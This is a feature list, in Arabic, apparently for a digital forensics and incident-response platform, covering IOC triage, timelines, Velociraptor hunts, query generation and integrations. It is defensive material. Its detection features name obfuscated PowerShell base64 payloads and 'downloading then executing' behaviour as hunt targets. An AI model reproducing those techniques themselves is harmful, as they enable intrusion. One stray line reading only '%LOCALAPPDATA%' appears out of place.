  • كشف جُحر الأرنب — النتائج المنفصلة عن الرسم البياني الرئيسي للأدلة تُخفَّض وتُوسَم "possible rabbit hole"
  • خط أساس الانتشار لكل قضية + نشر نمط FP — اختيار أحداث منحاز للندرة، مع استبعاد جماعي بنقرة واحدة للأحداث المطابقة لنمط FP مستبعد مسبقًا
  • التعلّم من النتائج المستبعدة — أنماط FP المتكررة تخفض (لا تُصفّر) الثقة في نشاط جديد مشابه
  • واسم أحداث قائم على المحتوى (بنمط Timesketch tags.yaml) — محرك قواعد يوسم الأحداث، ويرفع الخطورة، ويجمع تقنيات MITRE
  • Response Playbook — قائمة تحقق قابلة للتتبع (الحالة/الأولوية/المكلَّف/الاستحقاق/مهام مخصصة)؛ وقوالب IR الاختيارية توسّع النتائج إلى Contain→Investigate→Eradicate→Recover
  • وسوم الفرز والتعليقات — وسم الكيانات + إرفاق ملاحظات؛ مزامنة WebSocket حية؛ تصمد عبر التركيب
  • سجل النشاط — سجل زمني قابل للتصفية لكل إجراء ذي صلة أمنيًا يُتخذ على قضية (عمليات الاستيراد، ووسم/إلغاء وسم الإيجابية الكاذبة، وتشغيلات AI، ومفاتيح الإثراء/إخفاء الهوية، وتغييرات الإعدادات، وتعديلات playbook، والتعليقات/الوسوم، وتشغيلات البحث، وعمليات التصدير)
  • الإجراءات الجماعية — تحديد متعدد للأحداث/IOCs/النتائج: تمييز/وسم/وسم كإيجابية كاذبة/إثراء/نسخ
  • قائمة IOC البيضاء (Settings) — أنماط CIDR/مطابقة تامة/regex توسم تلقائيًا IOCs المطابقة كإيجابية كاذبة؛ عامة؛ اختيارية
  • قائمة استبعاد IOC لكل قضية — إزالة دائمة لمطابقات النطاق/اسم المضيف (أو أي نوع IOC) من قضية عبر قواعد مطابقة تامة/لاحقة/regex في شريط عنوان لوحة IOCs؛ والقيم المستبعدة تُمسح فورًا ولا يُعاد استيرادها أو إثراؤها أبدًا
  • تجزئات NSRL المعروفة الجيدة (Settings) — مجموعة تجزئات مسطّحة أو استعلام مباشر على قاعدة بيانات SQLite (~160 GB)؛ توسم تلقائيًا الأحداث/IOCs المطابقة كإيجابية كاذبة
  • إزالة تشويش الحمولة — يفكّ تلقائيًا ترميز base64 لـ PowerShell (-enc، [Convert]::FromBase64String)؛ ويستخرج IOCs مخفية؛ ويعرض كتل [Decoded]
  • تكامل CISA KEV (Settings) — مقابلة CVEs مع كتالوج CISA؛ إشارة وصول أولي قوية
  • درجة مخاطر IOC المركّبة — طبقة مرجّحة حرجة/عالية/متوسطة/منخفضة/حميدة لكل مؤشر، تُعرض كشارة وعدسة تصفية وعمود تقرير
  • تأكيد IOC — شارة ⊕ N تُظهر عدد الأدوات التي لاحظت كل مؤشر
  • مصدر IOC — كل IOC يُصنَّف مرتبطًا بالكشف (ظاهر في حدث Low+) مقابل تليمتري فقط (Info فقط)، متميزًا عن حكم استخبارات التهديد؛ شارة لكل IOC + مرشّح All/Detection-linked/Telemetry-only
  • سلسلة مصدر IOC — لوحة 🔗 لكل IOC: حدث الاستخراج، وعمليات بحث الإثراء، والنتائج المستشهدة، مع تصدير JSON؛ وصفوف المصدر الدقيقة للمستوردين الرئيسيين
  • مرشّح IOC المعلَّم فقط — إخفاء كل شيء عدا المؤشرات المؤكدة من استخبارات التهديد
  • مرشّح نوع IOC — قائمة منسدلة متعددة الأوجه (ip/domain/url/hash/file/process/other) مع أعداد لكل نوع؛ يتكامل مع مرشّحات المعلَّم فقط + البحث
  • عناصر التحكم في تقليل ضوضاء قائمة IOC — ثلاثة مرشّحات عرض فقط قابلة للتركيب، مفعّلة افتراضيًا: إخفاء IOCs الإيجابية الكاذبة/بلا استخبارات، وإخفاء ملفات مسارات نظام التشغيل، وعرض "🎯 Signal only" الذي يضيّق إلى المعلَّم/المؤكَّد/المُثرى
  • ترقيم صفحات قائمة IOC — يُقسّم من جهة العميل مثل الجداول الزمنية، افتراضيًا 100/صفحة
  • مرشّح الاستبعاد — عنصر تحكم بقائمة رقائق (بجانب بحث شريط الأدوات) يخفي أحداث الجدول الزمني / IOCs / النتائج المطابقة لأي من عدة مصطلحات استبعاد؛ لكل متصفح
  • مولّد المحاور البحثية — بنقرة واحدة يُصدر استعلامات Velociraptor VQL، وKQL، وES|QL، وSPL، وSigma، وYARA، وSuricata
  • عمليات بحث Sigma → VQL — الصق قاعدة Sigma، وترجمها حتميًا (قالب ثابت واحد لكل فئة logsource، وكل سطر غير مدعوم يُرفض بالاسم)، وأطلقها كبحث أسطول مسجّل؛ وقواعد process_creation تبحث أيضًا في سجل Sysmon / 4688
  • Query Translator — إنجليزية بسيطة → استعلامات قابلة للتشغيل (NL: "PowerShell downloading then executing") عبر جميع المنصات المفعّلة؛ عمليات بحث VQL بنشر بنقرة واحدة
  • Internal Hunt Workbench — استعلامات حقول مُنمّطة بمنطق Boolean، ونطاقات، وregex، وتجميع، وعمليات بحث محفوظة ومحاور كيانات على الجدول الزمني الطب الشرعي أو الفائق؛ والنتائج الخام تبقى خارج AI حتى تُرقّى
  • حزم فرز Velociraptor — تصفّح artifacts، واحفظ الحزم (المدمجة تشمل Hayabusa Full)، وشغّلها كعمليات بحث، واجمع + استورد النتائج تلقائيًا
  • عمليات بحث الأسطول المقترحة من AI — يقترح AI عمليات بحث استباقية لمسح الأسطول مستندة إلى رسم الأدلة السببي (سلاسل التشغيل، وسلالة الملفات، والحركة الجانبية)، فتُستهدف عمليات البحث العلاقة، لا مجرد المؤشر الطرفي
  • عمليات بحث playbook المقترحة من AI — يقترح AI عمليات بحث لكل مهمة متعلقة بنقطة نهاية (جمع من نقطة نهاية واحدة أو بحث أسطول)
  • حلقة تغذية راجعة للبحث — يسجّل نتيجة كل بحث منشور (أدلة جديدة + أعداد) لكل قضية؛ والاقتراحات تتخطى استعلامًا شُغّل مسبقًا وتحوّر على ما أصاب، مع Hunting Profile لما تم بحثه/أصاب/فات
  • استيعاب الدفع عبر Webhook (اختياري، token) — الأدوات الخارجية تدفع التنبيهات عبر POST /cases/:id/push (SIEM webhook، Velociraptor monitor، scripts)
  • المراقبة الحية لـ Velociraptor (اختياري) — بثّ artifacts من نوع CLIENT_EVENT (مثل ProcessCreation) عند وقوع الأحداث؛ جمع تلقائي على فترات؛ مراقبة تلقائية بنقرة واحدة لجميع artifacts المفعّلة
  • استيراد بحث/تدفق خارجي — الصق معرّف بحث Velociraptor أو flow أو رابط GUI (أو رابط Uploaded Files لتقارير THOR/Hayabusa)؛ ويُستنتج المضيف تلقائيًا، وأي artifact لم يُقرأ بالكامل يُسمّى، ولا يُبلَّغ عنه أبدًا بـ "no rows"
  • تحديد النطاق ووسم الإيجابية الكاذبة — اضبط نافذة زمنية؛ وسم النتائج/IOCs/الأحداث كإيجابية كاذبة بسبب منظّم (أداة معروفة جيدة/اختبار مصرّح به/خطأ كشف/تكرار/أخرى) + نسب المحلل (قابل للتراجع)؛ وجميع العروض تُعاد إسقاطها
  • اقتراحات تشابه الإيجابيات الكاذبة — وسم عنصر واحد كإيجابية كاذبة واحصل على مرشحين "similar items" مرتّبين (MITRE/عملية/تجزئة/أصل/IOCs مشتركة)، حتميًا أو بمساعدة AI، لاستبعاد النمط نفسه في تمريرة واحدة؛ ووسوم IOC الواحد يمكن أيضًا ترقيتها بنقرة واحدة إلى قائمة IOC البيضاء العامة
  • Super-Timeline — سجل بنمط Timesketch لكل حدث مستورد، يُحفظ منفصلًا عن الجدول الزمني الطب الشرعي ولا يقرأه AI أبدًا؛ صفِّ، ووسم، واحفظ أطرًا زمنية، ورقِّ الصفوف إلى الجدول الزمني الطب الشرعي
  • الجدول الزمني الطب الشرعي المُبوَّب حسب الخطورة — تليمتري Info يُوجَّه إلى الجدول الزمني الفائق فقط (يحتفظ الجدول الزمني الطب الشرعي بإشارة مُدرَّجة Low+) حتى لا يغرق التركيب؛ قابل للضبط عبر DFIR_FORENSIC_MIN_SEVERITY + تجاوز لكل قضية، والترقية تتخطى البوابة، ولا تزال IOCs تُستخرج من كل حدث
  • الحداثة — "last synthesized N ago" + فرق (المدة/الأحداث/أعداد IOC)؛ "last import N ago" + إبرازات صفوف NEW؛ ⚠ إشعار للقضايا >5 000 حدث
  • خريطة حرارية لكثافة أحداث الجدول الزمني — شريط أعمدة فوق Forensic Timeline يُجمّع مجموعة البيانات المصفّاة كاملة (كل صفحة، لا الصفحة الحالية فقط) حسب الوقت، ملوّنًا بأسوأ خطورة في كل دلو؛ انقر على عمود لتكبير الجدول الزمني إلى تلك النافذة؛ ينهار إلى sparkline رفيع على الجوال
  • ترقيم صفحات الجدول الزمني — 100/250/500/كل الصفوف لكل صفحة (يختاره المستخدم)؛ عناصر تحكم السابق/التالي
  • مرشّح مصدر الجدول الزمني — قائمة منسدلة متعددة الأوجه (بجانب مفتاح الخطورة) لإظهار/إخفاء الأحداث حسب الأداة/المصدر الذي أنتجها؛ والأحداث متعددة المصادر تبقى ظاهرة ما لم يُخفَ كل مصدر
  • مرشّح أصول الجدول الزمني — مستوى أكثر تحديدًا من مرشّح المصدر: يُظهر/يخفي الأحداث حسب الـ artifact الدقيق الذي أنتجها (مثل DetectRaptor.Windows.Detection.MFT)، على الجدولين الطب الشرعي والفائق
  • عرض صف الجدول الزمني — Settings → General يبدّل العناصر الفرعية التي يعرضها كل صف في الجدول الزمني (أيقونات الإجراءات / حبوب الوسوم / الشارات / رقاقة المضيف / MITRE / النتائج ذات الصلة / روابط الأدلة)؛ الطابع الزمني + الرسالة يُعرضان دائمًا؛ لكل متصفح، ويُطبَّق فورًا
  • تنقّل لوحة المفاتيح بنمط Vim — j/k يحرّك إبراز الصف المركّز على Forensic Timeline، وf يضع نجمة، وi يملأ نموذج IOC اليدوي مسبقًا، وp يثبّت النتيجة المستشهدة، وn يفتح تعليقًا، و? يعرض ورقة غش؛ قابل للتبديل في Settings → General، مفعّل افتراضيًا
  • تذكّر خطورة الاستيراد — لمطالبة الحد الأدنى للخطورة عند الاستيراد مربع اختيار don't ask again يحفظ الحد المختار ويتخطى المطالبة في عمليات الاستيراد المستقبلية؛ أدِرها/امسحها في Settings → General → Import severity؛ لكل متصفح
  • ملف الارتباط — نافذة Strict/Moderate/Aggressive/Custom لكل قضية لدمج الأحداث عبر المصادر؛ قائمة منسدلة في شريط الأدوات + PUT /cases/:id/correlation-profile
  • القضايا ذات الصلة — لوحة تسرد التحقيقات الأخرى التي تشترك في مؤشر مع هذه القضية، مرتبة بحيث يفوق تجزئة موسومة عنوانًا خاصًا؛ معطّلة إلا إذا كان DFIR_CROSS_CASE=on
  • طبقة ATT&CK Navigator — التقنيات ملونة حسب الخطورة؛ ارفعها إلى Navigator
  • حزمة STIX 2.1 — لـ OpenCTI وMISP وAnomali وغيرها
  • قائمة حظر مؤشرات الاختراق — TXT/CSV/STIX فقط؛ تصفية حسب الخطورة/النوع/الحكم
  • نسخ احتياطي/تدوير تلقائي للحالة — لقطات قبل التركيب + كل ساعة لجميع ملفات حالة كل قضية؛ احتفاظ قابل للتكوين؛ Settings → Diagnostics → استعادة بنقرة واحدة
  • أرشيف قضية مشفّر — تصدير .dfircase محمي بكلمة مرور للقضية بأكملها (بما في ذلك الأدلة ولقطات الشاشة، مشفّر بـ AES-256-GCM)؛ مشاركة عبر الأجهزة + استعادة كقضية جديدة
  • حزمة قضية منقّحة — ZIP مع عناوين IP/المضيفين/المستخدمين المُرمَّزة، وطمس المعلومات الشخصية في لقطات الشاشة، مع الحفاظ على مؤشرات الخصم
  • ملخص تنفيذي بالذكاء الاصطناعي — موجّه للإدارة (بدون معرّفات ATT&CK/التجزئات/أسماء الأدوات)
  • الجدول الزمني السردي — قصة نثرية لأصحاب المصلحة غير التقنيين
  • دفع DFIR-IRIS — عديم الأثر؛ يربط الأصول/مؤشرات الاختراق/الجدول الزمني/المهام؛ تعرض نافذة الدفع (وتتيح لك تجاوز) اسم قضية IRIS الهدف، ويُحفظ بحيث تستمر عمليات الدفع اللاحقة في استهداف القضية نفسها. يحتوي Settings → DFIR-IRIS على Test/reconnect (بدون إعادة تشغيل)
  • استيراد DFIR-IRIS — سحب أصول/مؤشرات اختراق/جدول زمني لقضية موجودة (حتمي، بدون ذكاء اصطناعي)
  • دفع Jira / ServiceNow — دفع بنقرة واحدة أو جماعي مباشرة من لوحة النتائج؛ إعادة الدفع تحدّث التذكرة الموجودة
  • تأثير الامتثال — يربط النتائج المؤكدة بالتزامات NIST/PCI/HIPAA/GDPR/SEC/ISO، مع عدّادات تنازلية لإشعار الاختراق
  • دفع Timesketch — ابحث أو أنشئ sketch؛ ادفع أو نزّل إما الجدول الزمني الجنائي أو الجدول الزمني الفائق الكامل (بما في ذلك القطع الأثرية الخام لفرز المضيف)، كل منهما في جدول زمني خاص به داخل نفس الـ sketch حتى لا يطغى أحدهما على الآخر؛ تصدير JSONL
  • تصدير Notion — كتلة صفحة مُدارة؛ ملاحظاتك خارجها تبقى دون مساس
  • تصدير ClickUp — Response Playbook كمهام؛ إعادة الدفع تحدّث في المكان
  • الإشعارات — Slack/MS Teams/Mattermost/Discord/Telegram/SMTP للنتائج/دليل الاستجابة/المعالم؛ عتبة ومفاتيح تبديل لكل قناة
  • تصدير سجل التدقيق إلى SIEM — إعادة توجيه سجل نشاط كل قضية (من فعل ماذا، ومتى، وهل نجح) إلى Splunk HEC أو Elasticsearch أو RFC 5424 syslog كدليل SOC 2 / ISO 27001؛ اختياري لكل وجهة، ويتذكر مدى تقدمه لكل قضية، ويعيد الإرسال بدلًا من التخطي بعد انقطاع
  • بوت أوامر الشرطة المائلة لغرفة العمليات — ثنائي الاتجاه Slack/Teams/Telegram: /dfir findings، /dfir iocs malicious، /dfir ask … من قناة الحادث؛ اربط قناة بقضية، وحدد من يُسمح له بإنفاق ميزانية الذكاء الاصطناعي (#235)
  • قوالب التقارير — تخطيطات مُعلَّمة عالمية (لون التمييز، الترويسة/التذييل، ترتيب الأقسام)؛ اختر لكل قضية. القسم المعطّل هنا يتخطى توليده بالذكاء الاصطناعي (الملخص التنفيذي، السرد) لتوفير الرموز (#168)
  • رفيق الجوال — PWA للقراءة فقط (/mobile) للنتائج/الجدول الزمني/مؤشرات الاختراق مع الأحكام؛ قشرة تطبيق دون اتصال
  • وضع العرض / إعادة تشغيل الجدول الزمني — عرض شرائح للقراءة فقط خطوة بخطوة (/cases/:id/present) لجلسات التسليم والعروض التنفيذية: بطاقات كبيرة، تنقل بلوحة المفاتيح، تقدّم تلقائي، تصفية حسب الخطورة، علامة قالب التقرير؛ تصدير عرض HTML مستقل دون اتصال (#177)
  • 🌍 خريطة IP الجغرافية — ارسم مؤشرات اختراق IP المحددة جغرافيًا على خريطة Leaflet عالمية تفاعلية (ألوان الخطورة، تدفقات الضحية→المهاجم، إحصاءات الدول، التصفية، تصدير CSV)؛ الإحداثيات من إثراء GeoIP الاختياري، صديقة للعمل دون اتصال (البلاطات قابلة للتجاوز)
  • %LOCALAPPDATA%
  • Docker / Compose — docker compose up؛ الأدلة على وحدة تخزين المضيف، بدون خلفية ذكاء اصطناعي مضمّنة
  • Linux AppImage — ملف تنفيذي أحادي الملف لأي توزيعة glibc، لا يتطلب Node
  • إشعار التحديث — فحص اختياري (معطّل افتراضيًا) لإصدار GitHub أحدث؛ لافتة في لوحة المعلومات، لا يُنزّل تلقائيًا أبدًا
  • مطالبات قابلة للتخصيص — تجاوز المطالبات عبر متغير بيئة أو ملف؛ تُطبَّق التعديلات دون إعادة تشغيل
  • قضية تجريبية — تحميل بنقرة واحدة أو npm run seed-demo لتهيئة سيناريو GlobalTech
  • نصوص CLI — reanalyze، synthesize، coverage، verify:ai، clean-timeline